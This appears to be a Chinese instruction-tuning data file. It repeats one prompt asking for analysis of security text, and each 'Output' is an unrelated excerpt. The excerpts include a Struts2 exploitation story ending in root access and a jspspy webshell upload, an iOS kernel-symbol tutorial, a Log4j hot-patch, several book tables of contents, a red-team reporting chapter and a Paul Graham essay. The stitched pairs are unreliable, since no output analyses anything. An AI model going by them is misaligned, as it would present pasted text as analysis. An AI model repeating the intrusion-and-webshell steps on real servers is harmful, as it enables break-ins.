操起基友给我struts的神器，输入网址，点击”验证”按钮，从古到今的所有struts2漏洞的一个一个在后台进行验证，当我看到输出栏输出”Struts-045漏洞存在”时，我在心理给自己鼓了掌，成了，root到手。
其中在这里发现一点小插曲，我当时要上传一个”jspspy”的shell，存在的问题是会如果上传的后缀是.jsp的文件，就会重定向login.action的页面，不管是静态文件目录还是脚本文件目录都是一样会重定向，由于对Java不熟悉，我给我大哥”Ninty”打了一个电话，大哥说上...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

原文地址：<https://medium.com/@cji_/hunting-for-ios-kernel-symbols-e48a446bb00>
## 0x001 前言
上周，Google Project Zero的Ian
Beer在[Twitter](https://twitter.com/BrandonButch/status/938096284921188352)上发文，他将通过task_for_pid_0或tfp0提供对内核内存的读、写访问，以帮助研究人员更深入研究iOS
11内核安全性。
这消息一出，可能人们更多的关注会放在新系统的越狱上面，但我想借此机会再研究一下移动安全。
Ian Beer昨日已将poc代码放在Project Zero的主页上[Issue 1417: iOS/MacOS kernel double free
due to IOSurfaceRootUserClient not respecting MIG ownership
rules](https://bugs.chromium.org/p/project-zero/issues/detail?id=1417&source=post_page---------------------------)，包含有`CVE-2016-7612`、`CVE-2016-7633`两个漏洞。正当我准备好开始我的工作时，便遇到一个问题。Ian
Beer放出来的poc代码中为几个设备添加了内核符号，但这几个设备我手头上并没有。运气比较好，他提供了有关如何找到符号的详细说明。
本文旨在介绍查找iOS符号的过程，因为我没有找到关于如何执行此操作的任何其他文档，因此我想为其他人（以及将来的我自己）记录此过程，希望对你添加对设备的支持也能有所帮助。
## 0x002 查找内核符号地址
查找符号的第一步是获取目标iOS版本的kernelcache。我是通过访问[ipsw.me](https://ipsw.me/)并下载了我的iPad
Mini 2的11.1.2固件，同样也可以下载任何已经在`symbols.c`中定义了符号的设备。
在解压缩.ipsw文件之后，我下载一份[joker](http://newosxbook.com/tools/joker.html?source=post_page---------------------------)工具。这是一个命令行工具，在阅读该工具的帮助页以后，设定好-j和-m选项并处理kernelcache文件，转储所有可用的符号。输出包含我需要的这些符号的地址：
    KSYMBOL_OSARRAY_GET_META_CLASS
        KSYMBOL_IOUSERCLIENT_GET_META_CLASS
        KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX
        KSYMBOL_CSBLOB_GET_CD_HASH
        KSYMBOL_KALLOC_EXTERNAL
        KSYMBOL_KFREE
        KSYMBOL_OSSERIALIZER_SERIALIZE
        KSYMBOL_KPRINTF
        KSYMBOL_UUID_COPY
在用IDA
Pro加载kernelcache文件之前，我们还需要解密kernelcache文件。详细的方法可以参考这里：[getios10beta1kernelcache.sh](https://gist.github.com/joswr1ght/a02774da552aec0bf1bfee6386e82353?source=post_page---------------------------)
    * open kernelcache in a hex editor and look for 0xFFCFFAEDFE, note the offset (435)
    * wget -q http://nah6.com/%7Eitsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
    * g++ -o lzssdec lzssdec.cpp
    * ./lzssdec -o 435 < kernelcache >kernelcache.dec # 435 is offset byte count to 0xFFCFFAEDFE header
首先，IDA加载解密好的kernelcache文件，kernelcache带有一些已知内核符号，我们可以通过反汇编的结果来大致了解一下iOS内核。
最先找...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 利用 Java Agent 动态修补 Log4j2 漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、前言
Apache Log4j2 JNDI 注入漏洞（CVE-2021-44228）持续发酵，目前网络上提供了多种修补方案，如更新至最新版本、通过配置禁用
lookup 特性、删除 `org/apache/logging/log4j/core/lookup/JndiLookup.class`
类等，这些方法都能有效修补该漏洞，受 NCCGROUP 的项目 [log4j-jndi-be-gone](https://github.com/nccgroup/log4j-jndi-be-gone) 启发，笔者将分享一个通过 java agent
修改 jvm 字节码的方式动态 patch Log4j2
漏洞的方案，此方案的特点是可以在不重启服务的情况下，也可完成修复。希望此方案能够给那些因为业务原因无法重启应用的朋友们提供点思路。
## 2、Java Agent 简介
Java Agent 时 java 提供的一种机制，可以理解为一种 hook 机制，可以在 jvm 运行时动态修改 java
字节码，从而改变运行流程，从而实现一些特殊的功能，如性能监控，热更新等。关于如何开发一个 java agent，
网上有很多资料可以可以参考，如：<https://www.jianshu.com/p/3bbfa22ec7f5> ,这里就不进行阐述。
## 3、动态修补 Log4j2 漏洞
根据公开资料，已经知道该漏洞最终出现在Log4j2中 `org.apache.logging.log4j.core.lookup.JndiLookup`
类的 `lookup` 函数，故只要对该函数进行拦截并禁用，就可以完成漏洞修补。
###  3.1 拦截 Log4j2 JNDI lookup 调用
核心拦截代码如下：
    public static void hook(Instrumentation instrumentation){
        AgentBuilder.Transformer transformer = new AgentBuilder.Transformer() {
            public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule javaModule) {
                return builder
                        .method(ElementMatchers.<MethodDescription>namedIgnoreCase("lookup")) // 拦截 lookup 函数
                        .intercept(MethodDelegation.to(Intercepter.class));
            }
        };
        new AgentBuilder
                .Default()
                .type(ElementMatchers.nameStartsWith("org.apache.logging.log4j.core.lookup.JndiLookup")) // 拦截 JndiLookup 类
                .transform(transformer)
                .installOn(instrumentation);
    }
首先通过 bytebuddy 库的
type(ElementMatchers.nameStartsWith(“org.apache.logging.log4j.core.lookup.JndiLookup”))
拦截 `JndiLookup`类调用，只要调用该类，就会被拦截。拦截到该类之后，通过定义一个 Transformer 对该类的 lookup 函数进行拦截：
    AgentBuilder.Transformer transformer = new AgentBuilder.Transformer() {
            public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, T...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Cover
Title Page
Copyright
About the Author
Foreword
Introduction
Who This Book Is For
What Is In This Book
Happy Hacking!
Part I: The Industry
Chapter 1: Picking a Bug Bounty Program
The State of the Industry
Asset Types
Social Sites and Applications
General Web Applications
Mobile Applications (Android, iOS, and Windows)
APIs
Source Code and Executables
Hardware and IoT
Bug Bounty Platforms
The Pros . . .
. . . and the Cons
Scope, Payouts, and Response Times
Program Scope
Payout Amounts
Response Time
Private Programs
Choosing the Right Program
A Quick Comparison of Popular Programs
Chapter 2: Sustaining Your Success
Writing a Good Report
Step 1: Craft a Descriptive Title
Step 2: Provide a Clear Summary
Step 3: Include a Severity Assessment
Step 4: Give Clear Steps to Reproduce
Step 5: Provide a Proof of Concept
Step 6: Describe the Impact and Attack Scenarios
Step 7: Recommend Possible Mitigations
Step 8: Validate the Report
Additional Tips for Writing Better Reports
Building a Relationship with the Development Team
Understanding Report States
Dealing with Conflict
Building a Partnership
Understanding Why You’re Failing
Why You’re Not Finding Bugs
Why Your Reports Get Dismissed
What to Do When You’re Stuck
Step 1: Take a Break!
Step 2: Build Your Skill Set
Step 3: Gain a Fresh Perspective
Lastly, a Few Words of Experience
Part II: Getting Started
Chapter 3: How the Internet Works
The Client-Server Model
The Domain Name System
Internet Ports
HTTP Requests and Responses
Internet Security Controls
Content Encoding
Session Management and HTTP Cookies
Token-Based Authentication
JSON Web Tokens
The Same-Origin Policy
Learn to Program
Chapter 4: Environmental Setup and Traffic Interception
Choosing an Operating System
Setting Up the Essentials: A Browser and a Proxy
Opening the Embedded Browser
Setting Up Firefox
Setting Up Burp
Using Burp
The Proxy
The Intruder
The Repeater
The Decoder
The Comparer
Saving Burp Requests
A Final Note on . . . Taking Notes
Chapter 5: Web H...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

版权信息
书名：IDA Pro权威指南（第2版）
作者：Chris Eagle
译者：石华耀， 段桂菊
ISBN：978-7-115-27368-0
本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。
您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。
我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。
如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。
目录
版权声明
献词
对上一版的赞誉
致谢
前言
第一部分　IDA简介
第1章　反汇编简介
1.1　反汇编理论
1.2　何为反汇编
1.3　为何反汇编
1.4　如何反汇编
1.5　小结
第2章　逆向与反汇编工具
2.1　分类工具
2.2　摘要工具
2.3　深度检测工具
2.4　小结
第3章　IDA Pro 背景知识
3.1　Hex-Rays公司的反盗版策略
3.2　获取IDA Pro
3.3　IDA 支持资源
3.4　安装IDA
3.5　IDA 用户界面
3.6　小结
第二部分　IDA基本用法
第4章　IDA入门
4.1　启动IDA
4.2　IDA 数据库文件
4.3　IDA 桌面简介
4.4　初始分析时的桌面行为
4.5　IDA 桌面提示和技巧
4.6　报告bug
4.7　小结
第5章　IDA 数据显示窗口
5.1　IDA 主要的数据显示窗口
5.2　次要的IDA 显示窗口
5.3　其他IDA 显示窗口
5.4　小结
第6章　反汇编导航
6.1　基本IDA 导航
6.2　栈帧
6.3　搜索数据库
6.4　小结
第7章　反汇编操作
7.1　名称与命名
7.2　IDA 中的注释
7.3　基本代码转换
7.4　基本数据转换
7.5　小结
第8章　数据类型与数据结构
8.1　识别数据结构的用法
8.2　创建IDA 结构体
8.3　使用结构体模板
8.4　导入新的结构体
8.5　使用标准结构体
8.6　IDA TIL 文件
8.7　C++ 逆向工程基础
8.8　小结
第9章　交叉引用与绘图功能
9.1　交叉引用
9.2　IDA 绘图
9.3　小结
第10章　IDA的多种面孔
10.1　控制台模式IDA
10.2　使用IDA 的批量模式
10.3　小结
第三部分　IDA高级应用
第11章　定制IDA
11.1　配置文件
11.2　其他IDA 配置选项
11.3　小结
第12章　使用FLIRT 签名来识别库
12.1　快速库识别和鉴定技术
12.2　应用FLIRT 签名
12.3　创建FLIRT 签名文件
12.4　小结
第13章　扩展IDA 的知识
13.1　扩充函数信息
13.2　使用loadint 扩充预定义注释
13.3　小结
第14章　修补二进制文件及其他IDA 限制
14.1　隐藏的补丁程序菜单
14.2　IDA 输出文件与补丁生成
14.3　小结
第四部分　扩展IDA的功能
第15章　编写IDA 脚本
15.1　执行脚本的基础知识
15.2　IDC 语言
15.3　关联IDC 脚本与热键
15.4　有用的IDC 函数
15.5　IDC 脚本示例
15.6　IDAPython
15.7　IDAPython 脚本示例
15.8　小结
第16章　IDA 软件开发工具包
16.1　SDK简介
16.2　IDA 应用编程接口
16.3　小结
第17章　IDA 插件体系结构
17.1　编写插件
17.2　构建插件
17.3　插件安装
17.4　插件配置
17.5　扩展IDC
17.6　插件用户界面选项
17.7　脚本化插件
17.8　小结
第18章　二进制文件与 IDA 加载器模块
18.1　未知文件分析
18.2　手动加载一个Windows PE文件
18.3　IDA 加载器模块
18.4　使用SDK编写IDA 加载器
18.5　其他加载器策略
18.6　编写脚本化加载器
18.7　小结
第19章　IDA 处理器模块
19.1　Python字节码
19.2　Python解释器
19.3　使用SDK编写处理器模块
19.4　构建处理器模块
19.5　定制现有的处理器
19.6　处理器模块体系结构
19.7　编写处理器模块
19.8　小结
第五部分　实际应用
第20章　编译器变体
20.1　跳转表与分支语句
20.2　RTTI实现
20.3　定位main函数
20.4　调试版与发行版二进制文件
20.5　其他调用约定
20.6　小结
第21章　模糊代码分析
21.1　反静态分析技巧
21.2　反动态分析技巧
21.3　使用IDA 对二进制文件进行“静态去模糊”
21.4　基于虚拟机的模糊
21.5　小结
第22章　漏洞分析
22.1　使用IDA 发现新的漏洞
22.2　使用IDA 在事后发现...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

第10章 赛后——分析报告
第10章 赛后——分析报告
译者：@Snowming
在之前的 THP 书籍中，我们有介绍如何编写渗透测试报告的示例，并提供了大量报告模板。这些示例非常适合那些按部就班的做渗透测试的活动，但是不适合红队的活动。正如本书所述，红队的焦点不是识别漏洞本身（虽然这也是工作的一部分），而是测试人、工具、工作流程和员工的技能组合。如果你的公司被授权的渗透测试者或者未授权的坏人攻击并成功入侵，你会给自己的业绩打几分？我一直反对使用差距评估分数、ISO 分数、成熟度模型分数、标准风险分析、热度图和类似类型的报告来展示公司安全项目的真实状况。
就我个人而言，我喜欢看到公司从之前的红队活动中采取措施进行控制，以测试是否真的取得了进展。例如，对于一个使用了近似域名方法的网络钓鱼活动，我们看到公司启用了以下一些功能：
使用 dnstwist 对与其公司类似的域名发出警报；
设置一个外部电子邮件域的可信列表。任何与之不匹配的外部邮件都将在最终用户可见的电子邮件中附加一个标题，说明它是外部（非公司）的、未经批准的电子邮件源。这将帮助你的用户更容易识别网络钓鱼。
来自代理中未分类的域的电子邮件中的任何链接至少应单击一次并警告用户改链接未分类。
禁止 Office 宏附件、强制使用受保护的视图和对文档进行沙盒处理。
这只是一个公司可以实施的可以阻止攻击的一些简单方法。
请记住，红队人员只需要找到一个漏洞就可能破坏整个内网环境。但是蓝队成员只需要识别攻击者的 TTP（战术，技术和过程）之一，就可以阻止这威胁。因此，现在的问题是，如果这些 TTP 中的一个已经引起防御系统发出警报，你的应急响应团队发现警报并处理威胁的速度有多快？所以红队风格的报告应该包括哪些内容呢？由于红队这个概念还很新，目前还没有标准的报告模板，我们可以根据客户的需求进行定制。在我看来，因为我们可能会在一个完整的红队活动中多次尝试进入一个内网环境(且被抓住几次)，所以我们想要把好的方面和不好的方面都在报告中都展示出来。
在活动期间、记笔记方面，许多工具如 Empire 和 Cobalt Strike 在红队活动期间都有很好的活动日志记录，但这些可能还远远不够。我发现对我们团队的活动非常有用的是，建立一个简单的 Web 服务器来记录红队成员执行的每个操作。记录过程中只收集最基本的信息，其中包括特定的事件、服务器、描述、影响、任何警报和屏幕截图。大多数红队/渗透测试人员都不喜欢做笔记，但这类记录提供了一种简单的跟踪活动的方法。
一旦活动结束，我们将收集所有笔记并将其组合在一起，以构建一个能讲述故事的红队报告。红队报告的主要组成部分可能包括：
简介/范围：本节需要明确说明活动的目标。例如，有些客户要求我们访问特定的数据、获得域管理权限、获取 PII（个人身份信息）、获取 IP 或在找到他们的生产环境的服务器的标志（flag）。
指标：在一场交战之后获得攻击报告是对应急响应团队/取证团队非常有帮助的。我们还想确定他们的防范工具或安全传感器可能遗漏的地方，那些使他们无法执行取证或检测恶意活动的纰漏。因此，我们希望给出C2服务器的IP地址、使用的域名、二进制文件的 MD5/SHA1 哈希、电子邮件地址和 IP 信息、被钓鱼的受害者列表以及任何其他可能有助于取证/应急响应团队的信息。
攻击时间轴：这是红队行动中最重要的部分之一，做好笔记是有回报的。时间轴应该充分说明所有的主要活动，任何触发警报的 TTP，以及主要的活动。这将允许蓝队比较他们的时间轴和笔记，看看他们错过了什么。在一次真正的攻击中，你有机会询问那些坏人关于他们做的每坏件事吗？这对防守团队来说是非常有利的。一个时间轴示例可能是这样的:
检测时间（TTD）/解决时间（TTM）：这通常是我们可以使用蓝队报告构建 TTD/TTM 统计数据的地方。我们都想要确定蓝队发现一次多重入侵所需的时间；扫描事件触发调查之前花费的时间（如果调查了的话）；以及蓝队需要多长时间来识别网络钓鱼活动。
第二部分应该讨论有关采取行动之前花费的时间的统计数据。如果有已警告的 C2 通信或已识别的网络钓鱼，那么在防火墙或 DNS 服务器上封锁这些域需要花费的时间是多久？我们经常看到公司可能擅长屏蔽域名，但是当 C2 服务器通过 IP 进行通信时会很快失败（反之亦然）。我们希望确保跟踪此活动并帮我们的客户来识别它。另一个很有用的 TTM 衡量标准是他们最快的情况下要花多久来隔离一个已经确认受损的系统。随着恶意软件变得越来越自动化，我们需要开始利用智能化和自动化的流程将系统或网络的一部分与组织的其他部分隔离开来。
来自应急响应/应急人员的反馈：我最喜欢记录的东西之一是来自蓝队的反馈：他们是如何从防守的角度看待整个活动的。我想知道的是，他们是否觉得自己遵守...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Table of Contents
Cover
Foreword
Introduction
CHAPTER 1: Fundamental Networking and Security Tools
Ping
IPConfig
NSLookup
Tracert
NetStat
PuTTY
CHAPTER 2: Troubleshooting Microsoft Windows
RELI
PSR
PathPing
MTR
Sysinternals
The Legendary God Mode
CHAPTER 3: Nmap—The Network Mapper
Network Mapping
Port Scanning
Services Running
Operating Systems
Zenmap
CHAPTER 4: Vulnerability Management
Managing Vulnerabilities
OpenVAS
Nexpose Community
CHAPTER 5: Monitoring with OSSEC
Log‐Based Intrusion Detection Systems
Agents
Log Analysis
CHAPTER 6: Protecting Wireless Communication
802.11
inSSIDer
Wireless Network Watcher
Hamachi
Tor
CHAPTER 7: Wireshark
Wireshark
OSI Model
Capture
Filters and Colors
Inspection
CHAPTER 8: Access Management
AAA
Least Privilege
Single Sign‐On
JumpCloud
CHAPTER 9: Managing Logs
Windows Event Viewer
Windows PowerShell
BareTail
Syslog
SolarWinds Kiwi
CHAPTER 10: Metasploit
Reconnaissance
Installation
Gaining Access
Metasploitable2
Vulnerable Web Services
Meterpreter
CHAPTER 11: Web Application Security
Web Development
Information Gathering
DNS
Defense in Depth
Burp Suite
CHAPTER 12: Patch and Configuration Management
Patch Management
Configuration Management
Clonezilla Live
CHAPTER 13: Securing OSI Layer 8
Human Nature
Human Attacks
Education
The Social Engineer Toolkit
CHAPTER 14: Kali Linux
Virtualization
Optimizing Kali Linux
Using Kali Linux Tools
CHAPTER 15: CISv7 Controls and Best Practices
CIS Basic Controls—The Top Six
In Conclusion
Index
End User License Agreement
List of Tables
Chapter 1
Table 1.1: ping command syntax
Chapter 3
Table 3.1: Top Ports Defined
Chapter 4
Table 4.1: CVSS v3.0 Ratings
Chapter 6
Table 6.1: IEEE 802.11 standards
Table 6.2: Wireless Network Watcher command‐line options
Chapter 7
Table 7.1: Keyboard shortcuts for Wireshark
Table 7.2: Filter operators
Table 7.3: Expert Info severity levels
Chapter 9
Table 9.1: Ports used by Kiwi Syslog Server
Chapter 14
Table 14.1: Resource requirements for Windows 10, Ubuntu, ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

横向领导力（美）费希尔，（美）夏普　著刘清山　译
版权信息书名：横向领导力作者：（美）费希尔，（美）夏普译者：刘清山书号：ISBN 978-7-5502-6265-2版权：后浪出版咨询（北京）有限责任公司
目录引言 任何人都是潜在的领导者第一部分 真正的领导者，不需要职位01 合作很难？你还没找到方法！02 横向领导：怎样巧妙地影响他人第二部分 做对5步，团队就是你的了03 目标整理术：把团队拧成一股绳04 思考整理术：迅速找到解决问题的方法05 计划修正术：不断修正计划，使其趋于完美06 激励管理术：让团队成员保持专注07 反馈的艺术：不断提升团队工作效率第三部分 做更好的领导者08 五项技能的综合运用09 假如你是领导者，你还能做什么10 敢于站出来的人就是领导者致 谢[最新电子书免费分享社群，群主V信 1107308023  添加备注电子书]出版后记
引言　任何人都是潜在的领导者如果你曾经以缺乏组织的方式与他人共同工作并且遇到了问题，感到非常沮丧，那么本书就是为你而写的。你很可能经历过下面的情形：乔：我一直在考虑这项工作，我非常清楚应该如何去做。萨莉：等一下。首先我想知道为什么我们要做这项工作。乔：很明显，老板对目前的局面很不满。查理：这个理由很充分。不过在开始之前，我想先制订一份时间表。比尔：好的。这项工作的截止日期是哪一天？克里斯蒂娜：在研究这个问题之前，我想问问这项工作有人负责吗？比尔：你的意思是你想成为负责人。克里斯蒂娜：不是的。我只是问是否有人负责，如果没有的话，是不是应该先找一个负责人。乔：我不知道你们的情况怎么样，不过我不可能把所有的时间花在这项工作上。我还有许多别的事情要做。萨莉：我现在还不知道我们要做的是什么。按照上面这种趋势发展下去，你可能取得一定的进展，也可能是虚掷光阴。几乎每个人在下班时都会抱怨，他们浪费了许多时间，却没有取得什么成果。这种局面你很可能经历过不计其数，这并不能说明你的表现不好。事实上，我们每个人都经历过这样的局面。考虑前面的例子。这个团队需要什么呢？通常的回答是“领导”。“他们当中没有负责人，所以不怪他们的工作不到位。”根据我们的经验，有权威的领导可以做许多事情，但默契无间的合作绝不是命令出来的。本书的写作目的就是帮助你与他人合作完成艰巨的工作任务。它所着眼的并不是有权威的领导能做什么，而是你能做什么；不是所有可能实现的目标，而是良好合作的目标——你与他人同舟共济时取得良好结果的目标。要想让你的同事朝着正确的方向前进，你首先必须清楚应该朝哪个方向前进。讲一个比较经典的故事。铁路公司有一辆崭新的柴油机车出了故障，不管工程师怎么做，都无法让机车启动。他们请来了一位专家。专家对情况进行了研究，然后用锤子轻轻敲了机车一下，列车就启动了。专家开出了一千美元的账单。铁路公司要求他对账单作出解释，专家的回复是：→用锤子敲打机车：10美元→知道敲打部位：990美元帮助团队实现良好的合作与此类似。你最后所采取的行动只是整个解决过程的一小部分。不管你是不是领导，我们都建议你把自己想象成一个潜在领导者。在实践中，你会发现，通过使用我们所说的“横向领导”能力，你完全可以让局面朝着更好的方向发展。本书的目标就是让你有能力与你的同事实现高质量的合作，取得高质量的结果。你无须拥有高于同事的权力，只需要使用横向领导方法就可以如鱼得水。横向领导方法包含三个基本步骤。第一步是培养和锻炼独自工作的个人能力。第二步是对你与他人有组织地共同工作这个战略目标获得清晰的理解。第三步是学习一些“参与式”领导方法。通过这些方法，你作为团队的普通一员，也能使用提问、作答、行动的方式促使他人更好地共同工作。以意图改善乐队演奏效果的爵士乐手为例，形象地说明以上三个步骤。首先，这个乐手需要培养自己的独奏技能。接着，他需要理解优秀的爵士乐合奏应当具有的特点——和声、对位以及哪种伴奏对主旋律的衬托效果更好。搞定这一切，他才能采取行动，领导乐队成员改善乐队的演奏效果。我们相信，任何企业、组织、委员会或其他团体中的人读了本书以后，都可以改善团队共同工作的方式，取得理想的结果。
第一部分真正的领导者，不需要职位
01　合作很难？你还没找到方法！不管你是企业主管、团队成员、服务人员、咨询人员，还是政府官员，都无法完全依靠个人力量实现所有的目标。你无时无刻不在依靠下属、同事、上级、供应商、客户的帮助，就连才华横溢的诗人也需要同编辑和出版商打交道。除非你是一个隐士，否则光靠你一个人的力量是做不成什么事的。因此，你必须与他人合作。可是，与人合作是非常困难的。流水线上的机器人可以精准地相互配合，完成工作，人类却做不到这一点。每个人都有自己的思想，而且与机器人不同，难免受情绪左右，有时快乐，有时愤怒，有时自信爆棚，有时忧心忡忡，有时与人为善，有时却又心生嫉妒。...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

目　录
版权信息
作者简介
封面介绍
版权声明
内容提要
译者简介
要感谢的人：
对本书的赞誉
前言
阅前须知
本书读者对象
未涵盖内容
本书结构
本书使用的JavaScript版本
阅前建议
本书的四部分内容
JavaScript命令行
符号说明
快速查询文档
Safari® Books Online
联系我们
致谢
审稿人
第1部分 JavaScript快速上手
第1章 基础JavaScript
1.1 背景
1.1.1 JavaScript与ECMAScript
1.1.2 JavaScript的影响和本质
1.2 语法
1.2.1 语法概述
1.2.2 语句和表达式
1.2.3 分号
1.2.4 注释
1.3 变量和赋值
1.3.1 赋值
1.3.2 复合赋值运算符
1.3.3 标识符与变量名
1.4 值
1.4.1 原始值和对象
1.4.2 原始值
1.4.3 对象
1.4.4 undefined和null
1.4.5 使用typeof和instanceof对值分类
1.5 布尔值
1.5.1 真值与假值
1.5.2 二元逻辑运算符
1.5.3 等式运算符
1.6 数字
1.7 运算符
1.8 字符串
1.8.1 字符串运算符
1.8.2 字符串方法
1.9 语句
1.9.1 条件语句
1.9.2 循环语句
1.10 函数
1.10.1 函数声明的提升特性
1.10.2 特殊的变量arguments
1.10.3 参数太多或太少
1.10.4 可选参数
1.10.5 强制参数长度
1.10.6 将arguments转换为数组
1.11 异常捕获
1.12 严格模式
1.13 变量作用域和闭包
1.13.1 变量是函数作用域的
1.13.2 变量的提升特性
1.13.3 闭包
1.13.4 IIFE模式：引入一个新的作用域
1.14 对象和构造函数
1.14.1 单一对象
1.14.2 任意属性名
1.14.3 提取方法
1.14.4 方法中的函数
1.14.5 构造函数：对象工厂
1.15 数组
1.15.1 数组字面量
1.15.2 数组方法
1.15.3 遍历数组
1.16 正则表达式
1.16.1 test()方法：匹配吗
1.16.2 exec()方法：匹配以及捕获分组
1.16.3 replace()方法：搜索和替换
1.17 Math
1.18 标准库的其他功能
第2部分 背景
第2章 为什么选择JavaScript
2.1 JavaScript可以自由使用吗
2.2 JavaScript优雅吗
2.3 JavaScript有用吗
2.3.1 图形用户界面
2.3.2 其他技术补充完善JavaScript
2.4 JavaScript有什么好用的工具吗
2.5 JavaScript是否足够快
2.6 JavaScript是广泛使用的吗
2.7 JavaScript有前途吗
2.8 结论
第3章 JavaScript的性质
3.1 古怪和非官方特性
3.2 优雅部分
3.3 影响
第4章 JavaScript是如何创造出来的
第5章 标准化：ECMAScript
第6章 JavaScript的历史里程碑
第3部分 深入JavaScript
第7章 JavaScript的语法
7.1 语法概览
7.2 注释
7.3 表达式与语句
7.3.1 表达式
7.3.2 语句
7.4 控制流语句和块
7.5 使用分号的规则
7.5.1 以块结束的语句后面没有分号
7.5.2 空语句
7.5.3 自动分号插入
7.6 合法标识符
7.7 数字字面量的方法调用
7.8 严格模式
7.8.1 启用严格模式
7.8.2 严格模式：建议与注意事项
7.8.3 严格模式中，变量必须被声明
7.8.4 严格模式下的函数
7.8.5 严格模式中，设置或者删除不可改变的属性会抛出异常
7.8.6 严格模式中的不合格标识符不能删除
7.8.7 严格模式中，eval更加简洁
7.8.8 严格模式中禁用的特性
第8章 值
8.1 JavaScript中的类型体系
8.1.1 JavaScript类型
8.1.2 静态与动态
8.1.3 静态类型与动态类型
8.1.4 静态类型检查和动态类型检查
8.1.5 强制转换
8.2 原始值和对象
8.2.1 原始值
8.2.2 对象
8.3 undefined和null
8.3.1 undefined和null的出现场景
8.3.2 检测undefined和null
8.3.3 undefined和null的历史
8.3.4 修改undefined
8.4 原始值的包装对象
8.4.1 包装对象不同于原始值
8.4.2 原始值的包装与去包装
8.4.3 原始值从包装器借调方法
8.5 强制类型转换
8...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

15.设计与研究
　　外国游客常常惊讶地发现，美国人交谈的时候，一开始总是问“你干什么工作”。我一直讨厌回答这个问题，因为一句话说不清楚。不过我最终找到了解决方法，现在如果有人问我干什么工作，我会正规对方的双眼说：“我正在设计一种Lisp语言的新方言。”如果你也有同样困扰，我推荐你也如此回答。对方就立刻转向其他话题了。
　　我确实是在“设计”一种编程语言，而且我不认为自己在做“研究”。我所做的工作与其他人设计一幢大楼、一把椅子、一种新字体并没有本质不同。我的目的不是发现一种“新”东西，而是做出一种很“好”的编程语言。
　　设计与研究的区别看来就在于，前者追求“好”（good），后者追求“新”（new）。优秀的设计不一定很“新”，但必须是“好”的；优秀的研究不一定很“好”，但必须是“新”的。我认为这两条道路最后会发生交叉：只有应用“新”的创意和理论，才会诞生超越前人的最佳设计；只有解决那些值得解决的难题（也就是“好”的难题），才会诞生最佳研究。所以，最终来说，设计和研究都通向同一个地方，只是前进的路线不同罢了。
　　如果把创造一种编程语言看成是设计问题，而不是科研方向，那么有何不同？
　　最大的不同在于你会更多地考虑用户。设计的时候，一开始总是问：我为谁设计？他们需要什么？比如，优秀的建筑师不会先设计，然后强迫用户接受，而是先研究最终用户的需求，然后做出用户需要的设计。
　　注意，我说的是“用户需要的设计”，而不是“用户要求的设计”。我不想让读者产生一种印象，认为设计师就像厨师一样，顾客点什么菜就一模一样做出来。艺术的各个领域有着巨大的差别，但是我觉得任何一个领域的最佳作品都不可能由对用户言听计从的人做出来。
　　有一句话说“顾客永远是对的”，这是指评价优秀设计的标准是看它能够多大程度上满足用户的需求。如果你的小说没人爱看，或者你做的椅子极不舒服，那么就说明你的作品失败了，被一票否决了。就算你的小说（或者椅子）有着最先进的理论指导也无济于事。
　　可是，让用户满意并不等于迎合用户的一切要求。用户不了解所有可能的选择，也经常弄错自己真正想要的东西。做一个好的设计师就像做一个好医生一样。你不能头痛医头，脚痛医脚。病人告诉你症状，你必须找出他生病的真正原因，然后针对病因进行治疗。
　　大多数优秀设计都是这样产生的，它们关注用户，并且以用户为中心。
　　我说设计必须考虑用户的需求，这里的“用户”并不是指所有普罗大众。事实上，你可以选择任何想要的目标用户。比如，假定你正在设计一种工具，你可以把目标用户定为初学者，也可以定为专家级用户。一种人眼里的优秀设计可能在另一种人眼里却是糟糕无比。这里的重点是你必须选出某些人作为你的目标用户。我觉得，除非设定目标用户，否则一种设计的好坏根本无从谈起。
　　如果目标用户群体涵盖了设计师本人，那么最有可能诞生优秀设计。如果目标用户与你本人差别很大，你往往会假定目标用户的需求比你本人的需求更简单，而不是更复杂。低估用户（即使出于善意）一般来说总是会让设计师出错。我怀疑那些设计“公共住宅项目”（housing project）^的建筑师根本没想过自己住在里面会是什么感觉。编程语言也有这种现象。C、Lisp和Smalltalk都是设计者为了自己使用而设计的，而Cobol、Ada和Java则是为了给别人使用而设计的。
^「“公共住宅”指的是由政府出资建造的房产，用来出租给低收入家庭居住，类似于廉租房。——译者注」
　　如果你觉得自己在为傻瓜设计产品，那么很可能不仅无法设计出优秀产品，而且就连傻瓜也不喜欢你的设计。
　　不过，就算你的设计针对的是最高端的用户，你也一样是设计给人类使用。研究就不一样了。做数学研究时，你不会只为了方便读者理解而故意选择一种更麻烦的证明方式，你只会选择最直接、最简洁的证明。我想，一般来说科学研究都是这样。科学观点不需要服从人类工程学（ergonomic）。
　　到了艺术领域，情况就完全变了。设计必须以人为本。设计椅子的时候，你不能只考虑椅子，还必须考虑人体各种千奇百怪的特点，不可能回避掉这一点。所有的艺术都必须迎合人类的兴趣和极限。举例来说，不考虑其他因素时，肖像画就是比风景画更能引发观众的兴趣。文艺复兴时期的经典绘画作品都是画人的，这并非巧合。如果绘画艺术不能用来表现人类本身，那么绘画也不会成为今天这样受推崇的艺术形式了。
